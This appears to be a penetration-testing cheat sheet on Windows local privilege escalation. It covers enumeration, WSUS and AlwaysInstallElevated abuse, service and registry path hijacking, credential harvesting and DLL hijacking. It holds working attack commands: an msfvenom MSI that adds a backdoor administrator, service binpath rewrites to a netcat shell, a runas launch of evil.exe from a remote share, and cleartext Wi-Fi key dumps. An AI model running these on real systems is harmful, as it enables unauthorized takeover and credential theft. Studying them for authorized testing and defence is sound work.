> ## Documentation Index > Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt > Use this file to discover all available pages before exploring further. # Windows Local Privilege Escalation > Comprehensive Windows local privilege escalation techniques: services, registry, credentials, DLL hijacking, AlwaysInstallElevated, and more ## Overview Windows local privilege escalation (LPE) involves exploiting misconfigurations, weak permissions, vulnerable services, or stored credentials to elevate from a standard user to SYSTEM/Administrator. The best automated enumeration tool is [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS). This content is for authorized penetration testing only. Never test systems you do not have explicit written permission to assess. ## System Information Enumeration ```bash theme={null} systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe get Caption,Description,HotFixID,InstalledOn wmic os get osarchitecture ``` PowerShell: ```powershell theme={null} [System.Environment]::OSVersion.Version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} Get-Hotfix -description "Security update" ``` ```bash theme={null} set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` ```bash theme={null} type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw # Check transcript registry keys reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription ``` ```bash theme={null} wmic logicaldisk get caption || fsutil fsinfo drives Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} ``` ## WSUS Exploitation If Windows Update uses HTTP instead of HTTPS: ```bash theme={null} reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer # or PowerShell: Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` If the value starts with `http://` and `UseWUServer=1`, inject fake updates using [Wsuxploit](https://github.com/pimps/wsuxploit) or [pyWSUS](https://github.com/GoSecure/pywsus). ## AlwaysInstallElevated If both registry keys are set to `0x1`, any user can install MSIs as SYSTEM: ```bash theme={null} reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` Exploit: ```bash theme={null} msfvenom -p windows/adduser USER=backdoor PASS=P@ssword123! -f msi -o alwe.msi msiexec /quiet /qn /i C:\Users\Public\alwe.msi ``` ## Service Exploitation ```bash theme={null} net start wmic service list brief sc query Get-Service ``` ```bash theme={null} # Check service permissions with accesschk accesschk.exe -ucqv accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula # Modify a service binary path if you have SERVICE_CHANGE_CONFIG sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" ``` Key permissions that allow binary path modification: * `SERVICE_CHANGE_CONFIG` * `WRITE_DAC` * `WRITE_OWNER` * `GENERIC_WRITE` / `GENERIC_ALL` Windows resolves unquoted paths with spaces by trying each partial path: ``` C:\Program Files\Some Folder\Service.exe → tries: C:\Program.exe → tries: C:\Program Files\Some.exe → tries: C:\Program Files\Some Folder\Service.exe ``` Find unquoted service paths: ```bash theme={null} wmic service get name,pathname,displayname,startmode \ | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '"' # PowerShell (PowerUp) Get-ServiceUnquoted -Verbose ``` ```bash theme={null} reg query hklm\System\CurrentControlSet\Services /s /v imagepath get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * \ | findstr /i " Users Path Everyone" ``` If writable, change the binary path: ```bash theme={null} reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath \ /t REG_EXPAND_SZ /d C:\path\to\payload.exe /f ``` ## User and Group Enumeration ```bash theme={null} # CMD net users %username% net users net localgroup net localgroup Administrators whoami /all # PowerShell Get-WmiObject -Class Win32_UserAccount Get-LocalUser | ft Name,Enabled,LastLogon Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ## Running Processes Analysis ```bash theme={null} Tasklist /SVC tasklist /v /fi "username eq system" # Check for process binary write permissions Get-WmiObject -Query "Select * from Win32_Process" \ | where {$_.Name -notlike "svchost*"} \ | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} ``` Check binary permissions of running processes: ```bash theme={null} for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" ) ) ``` ## Windows Credentials ```bash theme={null} reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul \ | findstr /i "DefaultDomainName DefaultUserName DefaultPassword" ``` ```bash theme={null} cmdkey /list # Use saved credentials runas /savecred /user:WORKGROUP\Administrator "\\10.x.x.x\SHARE\evil.exe" ``` ```bash theme={null} Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ # Decrypt with mimikatz # dpapi::masterkey /pvk or /rpc ``` ```bash theme={null} netsh wlan show profile netsh wlan show profile key=clear ``` ``` C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend.xml C:\Windows\System32\Sysprep\unattend.xml dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml 2>nul ``` ``` C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ``` ## Network Information ```bash theme={null} # Interfaces ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address # Open ports netstat -ano # Shares net view net view /all /domain [domainname] net share # Routing route print # ARP arp -A ``` ## KrbRelayUp (Domain LPE) Requires: LDAP signing not enforced + users can configure RBCD + users can create computers (all default settings). ```bash theme={null} # https://github.com/Dec0ne/KrbRelayUp KrbRelayUp.exe relay -d -cn ``` ## Antivirus / Security Controls Enumeration ```bash theme={null} # Audit settings reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit # LAPS — local admin password management reg query "HKLM\Software\Policies\Microsoft\Services\AdmPwd" /v AdmPwdEnabled # WDigest — if enabled, cleartext passwords in LSASS reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential # LSA Protection reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL # Credential Guard reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ## PATH DLL Hijacking If you have write permissions inside a PATH folder: ```bash theme={null} for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul \ | findstr /i "(F) (M) (W) :\\" \ | findstr /i ":\\ everyone authenticated users todos %username%" ) ``` ## References * [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) * [GTFOBins Windows equivalent — LOLBAS](https://lolbas-project.github.io/) * [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) * [Windows Exploit Suggester](https://github.com/bitsadmin/wesng) * [accesschk — Sysinternals](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)